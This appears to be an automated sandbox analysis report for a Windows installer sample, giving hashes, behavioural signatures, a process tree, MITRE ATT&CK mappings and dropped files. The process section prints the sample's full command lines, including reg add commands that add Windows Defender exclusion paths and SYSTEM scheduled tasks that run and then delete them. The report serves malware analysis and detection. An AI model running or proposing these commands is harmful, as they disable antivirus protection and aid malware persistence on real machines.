Analysis
- max time kernel
150s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/08/2026, 23:22
Static task
static1
Behavioral task
behavioral1
Sample
install_q0.3.15.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_q0.3.15.exe
Resource
win11ltsc2024-20260709-en
General
- Target install_q0.3.15.exe
- Size 25.8MB
- Sample260830-3c2frssapc
- SHA256 b3820b8e3c88a541207fcf168bfd456e77e434995fd44e34a3829b09f49d6289
- MD5 db021d6c3dbb1ed6c238c99fb1eb9175
- SHA1 6e77587fe382b7db8d498004214c0d6713a1009f
- SHA512 620e01caa3b14e852d756e6bc3ee64b0ca5b65f33c29389ff340f74e1224b12b8dd7497eedc3b84d0e813ccf260c8f45816d0a010885ec9d4545df640c766bec
- SSDEEP 49152:VudCDvwT4vMN0GUX+UPhsVEFAt8D4ak1t2J++32xobI8iR1aoPnMB9CfZ1Cy988l:Tvq0nXhSaF5MxcNafMHW+EnzYP1Q
- TLSH T18957094EB7478DD3F9095638499687E433B3ECB08A5647033298B32D6FBF2885DA7581
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\u9BCLU = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation 6AhCEj.exe - Executes dropped EXE 2 IoCs
pid Process 1168 6AhCEj.exe 5032 6AhCEj.exe - Loads dropped DLL 2 IoCs
pid Process 1168 6AhCEj.exe 5032 6AhCEj.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\u9BCLU\\6AhCEj.exe\"" 6AhCEj.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2308 cmd.exe 2708 cmd.exe 1212 cmd.exe 4604 cmd.exe 6076 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 6AhCEj.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5212 cmd.exe 2792 cmd.exe 5536 cmd.exe 5000 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5256 schtasks.exe 1788 schtasks.exe 2968 schtasks.exe 1148 schtasks.exe 5368 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 4888 install_q0.3.15.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe 1168 6AhCEj.exe - Suspicious behavior: LoadsDriver 4 IoCs
pid Process 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 1168 wrote to memory of 2308 1168 6AhCEj.exe 104 PID 2308 wrote to memory of 5368 2308 cmd.exe 107 PID 2308 wrote to memory of 6128 2308 cmd.exe 108 PID 1168 wrote to memory of 2708 1168 6AhCEj.exe 112 PID 2308 wrote to memory of 5480 2308 cmd.exe 114 PID 5212 wrote to memory of 5932 5212 cmd.exe 115 PID 1168 wrote to memory of 1212 1168 6AhCEj.exe 116 PID 2708 wrote to memory of 5256 2708 cmd.exe 119 PID 1212 wrote to memory of 1788 1212 cmd.exe 120 PID 2708 wrote to memory of 2852 2708 cmd.exe 121 PID 1212 wrote to memory of 3028 1212 cmd.exe 123 PID 2708 wrote to memory of 1540 2708 cmd.exe 124 PID 1212 wrote to memory of 5748 1212 cmd.exe 125 PID 2792 wrote to memory of 3928 2792 cmd.exe 127 PID 1168 wrote to memory of 4604 1168 6AhCEj.exe 128 PID 4604 wrote to memory of 2968 4604 cmd.exe 130 PID 4604 wrote to memory of 2756 4604 cmd.exe 131 PID 4604 wrote to memory of 3184 4604 cmd.exe 133 PID 5536 wrote to memory of 5492 5536 cmd.exe 135 PID 1168 wrote to memory of 6076 1168 6AhCEj.exe 136 PID 6076 wrote to memory of 1148 6076 cmd.exe 138 PID 6076 wrote to memory of 3040 6076 cmd.exe 139 PID 5000 wrote to memory of 3140 5000 cmd.exe 142 PID 6076 wrote to memory of 3116 6076 cmd.exe 143 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\install_q0.3.15.exe"C:\Users\Admin\AppData\Local\Temp\install_q0.3.15.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4888
-
C:\Users\Public\u9BCLU\6AhCEj.exeC:\Users\Public\u9BCLU\6AhCEj.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1168 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\u9BCLU\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\u9BCLU\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5368
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:6128
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5480
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5256
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2852
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1540
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1788
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3028
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5748
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4604 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2968
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2756
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3184
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:6076 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1148
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3040
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3116
-
-
-
C:\Users\Public\u9BCLU\6AhCEj.exe"C:\Users\Public\u9BCLU\6AhCEj.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5032
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\u9BCLU" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5212 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\u9BCLU" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5932
-
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:4916
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3928
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5536 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5492
-
-
C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5000 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3140
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\u9BCLU\6AhCEj.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\u9BCLU\UxEnhance64.dll
- Size 3.1MB
- SHA256 823e5e89c84bea5ec6e738358c5ab0470be7b5cc94d36041f6c9928c4c7cb3d2
- MD5 eb7f01c1f1bbdfe91d4ab8a77420bb1a
- SHA1 63d790661765504d0eec52c0aee4e7f676b99941
- SHA512 f0f1f208ec775d4179e3dac0315f240a6501c02e907eddab196f8bc78c92e552c0d0bf4c9fbeb7393c536db7f315041435a0d8a49bebf29c03007bbeb4b324bc
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+g:P9m29xx3Tiqt06ox6+z2rNNrKog
- TLSH T16CE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\u9BCLU\adoresd.dat
- Size 4.7MB
- SHA256 5c8465ab4751e02c502b26212caf53c2219cfc6e9b5c4a4e38023c61c541a57c
- MD5 0ff77f2482109739438707fb2f289508
- SHA1 0dc530f901e913d935ae9fe67bac532cb88d139d
- SHA512 492140ee8b488530614dadb19c8186362f3cdbc0d14fd47a78e35bc60abcb7afe87023fc1a2d3cdff71fb737e10110ae982001036cbb00100f0ded450299d250
- SSDEEP 98304:EKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:EKClqhi0Cv54K2IVS0VQg
- TLSH T1763633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\u9BCLU\msadox.tb
- Size 8KB
- SHA256 8c896ad4f8c3824f63a01044f008c6be53899e02864773fd708f99a4d40e9236
- MD5 581082b033238782c985c140e7de82b8
- SHA1 1132e040aa5c8d57da6d884bb2e44b739600f643
- SHA512 ec8ab84051ec180309cfc3f933405903bf6cc2f4ade7843ba0c8c2efb8db98482c86d891f9edd5eed963fe827b0925b3d64d0c6e2298400c514564be24c8cf9a
- SSDEEP 192:jfqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:TsZqZOXQ3uqvR2Kfzp
- TLSH T1F3029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH